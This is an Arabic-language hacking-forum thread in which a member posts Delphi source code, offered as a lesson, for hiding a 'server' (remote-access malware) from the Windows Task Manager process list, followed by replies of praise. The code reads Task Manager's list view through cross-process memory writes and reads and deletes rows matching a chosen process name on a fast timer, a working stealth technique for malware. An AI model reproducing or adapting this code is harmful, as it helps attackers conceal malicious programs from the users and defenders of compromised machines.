حالة الموضوع:
مغلق
  1. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط


    [​IMG]

    كيف الحال اعضاء وزوار ومشرفي منتدى عراق تيم ارجو ان تكونوا بصحه وسلام


    [​IMG]

    درس اليوم اخفاء السيرفر من البروسس بلغه الدلفي


    مع كود سهل ولا يحتاج الى شرح مطول




    اتركم مع الاكواد






    [PHP CODE]

    PROGRAM Server;

    USES Windows,CommCtrl;


    VAR
    MyTimerHandle:WORD;
    MSG:TMSG;

    FUNCTION MaGChar(CONST S: STRING): STRING; VAR Ch: Char; L: Integer; Source, Dest: PChar;
    BEGIN L := Length(S); SetLength(Result, L); Source := Pointer(S); Dest := Pointer(Result);
    WHILE L <> 0 DO BEGIN Ch := Source^; IF (Ch >= 'A') AND (Ch <= 'Z') THEN Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L); END; END;

    FUNCTION CacheCache(_Processus:STRING):STRING;
    VAR dwSize, dwNumberOfBytes, PID, hProcess:Cardinal; PLocalShared, PSysShared: PlvItem;
    wnd: THandle; iCount, i: integer; szTemp: STRING;
    BEGIN
    wnd := FindWindow('#32770', NIL);
    wnd := FindWindowEx(wnd, 0, '#32770', NIL);
    wnd := FindWindowEx(wnd, 0, 'SysListView32',NIL);
    iCount := SendMessage(wnd, LVM_GETITEMCOUNT, 0, 0);
    FOR i := 0 TO iCount -1 DO
    BEGIN
    dwSize := SizeOf(LV_ITEM) + SizeOf(CHAR) * MAX_PATH;
    pLocalShared := VirtualAlloc(NIL, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
    GetWindowThreadProcessID(WND, @PID); hProcess := OpenProcess(PROCESS_VM_OPERATION OR PROCESS_VM_READ OR PROCESS_VM_WRITE, FALSE, PID);
    pSysShared := VirtualAllocEx(hProcess, NIL, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE);
    pLocalShared.mask := LVIF_TEXT;
    pLocalShared.iItem := 0;
    pLocalShared.iSubItem := 0;
    pLocalShared.pszText := LPTSTR(DWord(pSysShared) + SizeOf(LV_ITEM));
    pLocalShared.cchTextMax := 100; WriteProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
    SendMessage(wnd, LVM_GETITEMTEXT, i, LPARAM(pSysShared));
    ReadProcessMemory(hProcess, pSysShared, pLocalShared, 1024, dwNumberOfBytes);
    szTemp := PChar(DWord(pLocalShared) + SizeOf(LV_ITEM));
    IF Pos(_Processus, MagChar(szTemp)) > 0 THEN
    ListView_DeleteItem(wnd, i);
    VirtualFree(pLocalShared, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pSysShared, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    END;
    END;

    PROCEDURE TimerProc(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);STDCALL;
    BEGIN
    CacheCache('explorer.exe');
    END;

    PROCEDURE StartTimer(Interval:DWORD);
    BEGIN
    MyTimerHandle:=SetTimer(0,0,Interval,@TimerProc);
    END;

    BEGIN StartTimer(1);

    WHILE(GetMessage(Msg,0,0,0))DO
    BEGIN TranslateMessage(Msg); DispatchMessage(Msg); END;
    END.


    [/PHP CODE]

    اتمنى ان تكون الاكواد واضحه وان يكون الموضوع قد نال اعجابكم



    [​IMG]


    امير ايكل

    المعاقب الصدري

    علي الصقور هنا

    مخلد هكسور

    محمد العراقي

    حازم مشكله


    [​IMG]




     
  2. Ali_Aliraqi

    Ali_Aliraqi Developer

    الأنتساب:
    ‏26 ديسمبر 2014
    المشاركات:
    209
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    18
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    وعليكم السلام ورحمة الله وبركاتهعاشت ايدك حب مبدع
     
  3. وائل الاسدي

    وائل الاسدي Developer

    الأنتساب:
    ‏23 فبراير 2015
    المشاركات:
    45
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    8
    الجنس:
    ذكر
    الوظيفة:
    موظف في وزارة الداخلية
    الإقامة:
    IRAQ
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    عاشت ايدك يامبدع
     
  4. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    وايدك اخوي الغالي نورت الموضوع
     
  5. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    وايدك حبي
     
  6. Girl - SilenT

    Girl - SilenT <span style="font-weight: bold; text-shadow: #BBBB مشرفات المنتدى

    الأنتساب:
    ‏1 ابريل 2015
    المشاركات:
    236
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    عاشت ايدك مبدع ورده
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  7. GosTeR DZ

    GosTeR DZ DeveloPer Plus

    الأنتساب:
    ‏5 يناير 2013
    المشاركات:
    111
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    الإقامة:
    Algeria
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    بارك الله فيك يا غالي .[​IMG].
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  8. مستر كولدن

    مستر كولدن DeveloPer Plus

    الأنتساب:
    ‏4 ديسمبر 2014
    المشاركات:
    224
    الإعجابات المتلقاة:
    288
    نقاط الجائزة:
    63
    الجنس:
    ذكر
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    مبدع عاااشت ايدك يا وردة [​IMG]
     
  9. Ameer Eagle

    Ameer Eagle V • I • P

    الأنتساب:
    ‏7 يونيو 2014
    المشاركات:
    3,233
    الإعجابات المتلقاة:
    2,779
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:
    IraQ
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    وعليكم السلام ورحمة الله وبركاته

    بارك الله بيك صديقي بكر مبدع من يومك

    تحياتي وتقديري الك
     
  10. South Hack

    South Hack أبو حسين DeveloPer Plus

    الأنتساب:
    ‏15 نوفمبر 2014
    المشاركات:
    356
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    18
    الإقامة:
    الــعراق
    رد: حصريا اخفاء السيرفر من البروسس كود بلغه الدلفي

    عاشت الأنامل بكر دائمأ مبدع ومتميز ب طروحاتك :{2}:​
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
حالة الموضوع:
مغلق

مشاركة هذه الصفحة